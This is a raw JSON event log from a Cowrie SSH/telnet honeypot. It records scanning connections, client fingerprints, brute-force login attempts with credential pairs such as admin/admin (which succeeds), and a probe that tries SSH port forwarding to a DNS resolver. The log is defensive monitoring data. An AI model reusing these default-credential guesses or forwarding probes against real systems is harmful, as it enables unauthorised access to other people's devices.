{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39706,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6c6054945c4","protocol":"telnet","message":"New connection: 174.138.46.234:39706 (159.203.135.109:23) [session: e6c6054945c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:41.427483Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39544,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bab2a9e3f8c","protocol":"telnet","message":"New connection: 174.138.46.234:39544 (159.203.135.109:23) [session: 1bab2a9e3f8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:41.981614Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40002,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d1c8f150368","protocol":"telnet","message":"New connection: 174.138.46.234:40002 (159.203.135.109:23) [session: 7d1c8f150368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:42.541735Z"}
{"eventid":"cowrie.session.closed","duration":5.031471490859985,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:47.012942Z","src_ip":"174.138.46.234","session":"1bab2a9e3f8c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.925301551818848,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:48.466908Z","src_ip":"174.138.46.234","session":"7d1c8f150368","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.010266780853271,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:49.049264Z","src_ip":"174.138.46.234","session":"87ab1b8d4aae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.959324598312378,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:49.386681Z","src_ip":"174.138.46.234","session":"e6c6054945c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42988,"dst_ip":"159.203.135.109","dst_port":23,"session":"58a8731061c6","protocol":"telnet","message":"New connection: 174.138.46.234:42988 (159.203.135.109:23) [session: 58a8731061c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:52.508266Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51538,"dst_ip":"10.17.0.5","dst_port":22,"session":"58ee86e8eef3","protocol":"ssh","message":"New connection: 87.251.64.176:51538 (10.17.0.5:22) [session: 58ee86e8eef3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.091166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.095874Z","src_ip":"87.251.64.176","session":"58ee86e8eef3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.191843Z","src_ip":"87.251.64.176","session":"58ee86e8eef3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.480562Z","src_ip":"87.251.64.176","session":"58ee86e8eef3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.579377Z","session":"58ee86e8eef3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.677761Z","src_ip":"87.251.64.176","session":"58ee86e8eef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:53.780521Z","src_ip":"87.251.64.176","session":"58ee86e8eef3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.330565452575684,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:48:57.838671Z","src_ip":"174.138.46.234","session":"58a8731061c6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44784,"dst_ip":"159.203.135.109","dst_port":23,"session":"2dd620e59330","protocol":"telnet","message":"New connection: 174.138.46.234:44784 (159.203.135.109:23) [session: 2dd620e59330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:50:35.069799Z"}
{"eventid":"cowrie.session.closed","duration":7.860906600952148,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:50:42.930555Z","src_ip":"174.138.46.234","session":"2dd620e59330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":33721,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0b00614bd6c","protocol":"ssh","message":"New connection: 103.248.120.6:33721 (10.17.0.5:22) [session: f0b00614bd6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:11.861910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:11.867125Z","src_ip":"103.248.120.6","session":"f0b00614bd6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:12.102749Z","src_ip":"103.248.120.6","session":"f0b00614bd6c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"kathleen","message":"login attempt [admin/kathleen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:13.023726Z","src_ip":"103.248.120.6","session":"f0b00614bd6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:14.249553Z","src_ip":"103.248.120.6","session":"f0b00614bd6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":38226,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e1e2c01341f","protocol":"telnet","message":"New connection: 217.182.190.44:38226 (10.17.0.5:23) [session: 2e1e2c01341f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:50.500562Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":39572,"dst_ip":"159.203.135.109","dst_port":22,"session":"af7579b69562","protocol":"ssh","message":"New connection: 103.69.96.120:39572 (159.203.135.109:22) [session: af7579b69562]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:55.746497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:55.941290Z","src_ip":"103.69.96.120","session":"af7579b69562","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:56.178109Z","src_ip":"103.69.96.120","session":"af7579b69562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":40440,"dst_ip":"10.17.0.5","dst_port":23,"session":"df135aba2bd8","protocol":"telnet","message":"New connection: 217.182.190.44:40440 (10.17.0.5:23) [session: df135aba2bd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:56.397396Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40100,"dst_ip":"159.203.135.109","dst_port":23,"session":"77b4fa45b6f6","protocol":"telnet","message":"New connection: 174.138.46.234:40100 (159.203.135.109:23) [session: 77b4fa45b6f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:57.110987Z"}
{"eventid":"cowrie.login.failed","username":"es","password":"qwer1234","message":"login attempt [es/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:57.542695Z","src_ip":"103.69.96.120","session":"af7579b69562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40306,"dst_ip":"159.203.135.109","dst_port":23,"session":"553fa7275f00","protocol":"telnet","message":"New connection: 174.138.46.234:40306 (159.203.135.109:23) [session: 553fa7275f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:57.803919Z"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:58.856341Z","src_ip":"103.69.96.120","session":"af7579b69562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40094,"dst_ip":"159.203.135.109","dst_port":23,"session":"a1a4b3e916cd","protocol":"telnet","message":"New connection: 174.138.46.234:40094 (159.203.135.109:23) [session: a1a4b3e916cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:59.059161Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40424,"dst_ip":"159.203.135.109","dst_port":23,"session":"def9865faddd","protocol":"telnet","message":"New connection: 174.138.46.234:40424 (159.203.135.109:23) [session: def9865faddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:59.183720Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40820,"dst_ip":"159.203.135.109","dst_port":23,"session":"aac5443e3dc4","protocol":"telnet","message":"New connection: 174.138.46.234:40820 (159.203.135.109:23) [session: aac5443e3dc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:51:59.622448Z"}
{"eventid":"cowrie.session.closed","duration":5.7594313621521,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:02.870290Z","src_ip":"174.138.46.234","session":"77b4fa45b6f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.6378655433654785,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:03.441673Z","src_ip":"174.138.46.234","session":"553fa7275f00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.355757474899292,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:05.414841Z","src_ip":"174.138.46.234","session":"a1a4b3e916cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.001229286193848,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:05.623591Z","src_ip":"174.138.46.234","session":"aac5443e3dc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":6.88558554649353,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:06.069008Z","src_ip":"174.138.46.234","session":"def9865faddd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.31983733177185,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:25.820276Z","src_ip":"217.182.190.44","session":"2e1e2c01341f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.531283378601074,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:28.928538Z","src_ip":"217.182.190.44","session":"df135aba2bd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":53668,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ca0c617ce45","protocol":"telnet","message":"New connection: 217.182.190.44:53668 (10.17.0.5:23) [session: 6ca0c617ce45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:52:34.170750Z"}
{"eventid":"cowrie.session.closed","duration":33.76864838600159,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:07.939260Z","src_ip":"217.182.190.44","session":"6ca0c617ce45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":49288,"dst_ip":"10.17.0.5","dst_port":22,"session":"3a9323cec00d","protocol":"ssh","message":"New connection: 87.251.64.176:49288 (10.17.0.5:22) [session: 3a9323cec00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:08.833457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:08.838023Z","src_ip":"87.251.64.176","session":"3a9323cec00d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:08.934262Z","src_ip":"87.251.64.176","session":"3a9323cec00d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:09.226188Z","src_ip":"87.251.64.176","session":"3a9323cec00d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:09.324431Z","session":"3a9323cec00d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:09.424388Z","src_ip":"87.251.64.176","session":"3a9323cec00d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:09.524440Z","src_ip":"87.251.64.176","session":"3a9323cec00d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":32856,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc6b4f45d266","protocol":"telnet","message":"New connection: 174.138.46.234:32856 (159.203.135.109:23) [session: cc6b4f45d266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:09.695143Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33128,"dst_ip":"159.203.135.109","dst_port":23,"session":"68c93052ee9d","protocol":"telnet","message":"New connection: 174.138.46.234:33128 (159.203.135.109:23) [session: 68c93052ee9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:11.629748Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":33188,"dst_ip":"159.203.135.109","dst_port":23,"session":"10e68a3fc5ec","protocol":"telnet","message":"New connection: 174.138.46.234:33188 (159.203.135.109:23) [session: 10e68a3fc5ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:11.855733Z"}
{"eventid":"cowrie.session.closed","duration":3.919975519180298,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:15.549585Z","src_ip":"174.138.46.234","session":"68c93052ee9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.924180269241333,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:15.619231Z","src_ip":"174.138.46.234","session":"cc6b4f45d266","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.397643327713013,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:17.253047Z","src_ip":"174.138.46.234","session":"10e68a3fc5ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.239.253.149","src_port":15194,"dst_ip":"159.203.135.109","dst_port":23,"session":"90d12782182b","protocol":"telnet","message":"New connection: 45.239.253.149:15194 (159.203.135.109:23) [session: 90d12782182b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:36.359373Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41132,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c6951f9251","protocol":"telnet","message":"New connection: 174.138.46.234:41132 (159.203.135.109:23) [session: 60c6951f9251]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T10:53:39.204185Z"}
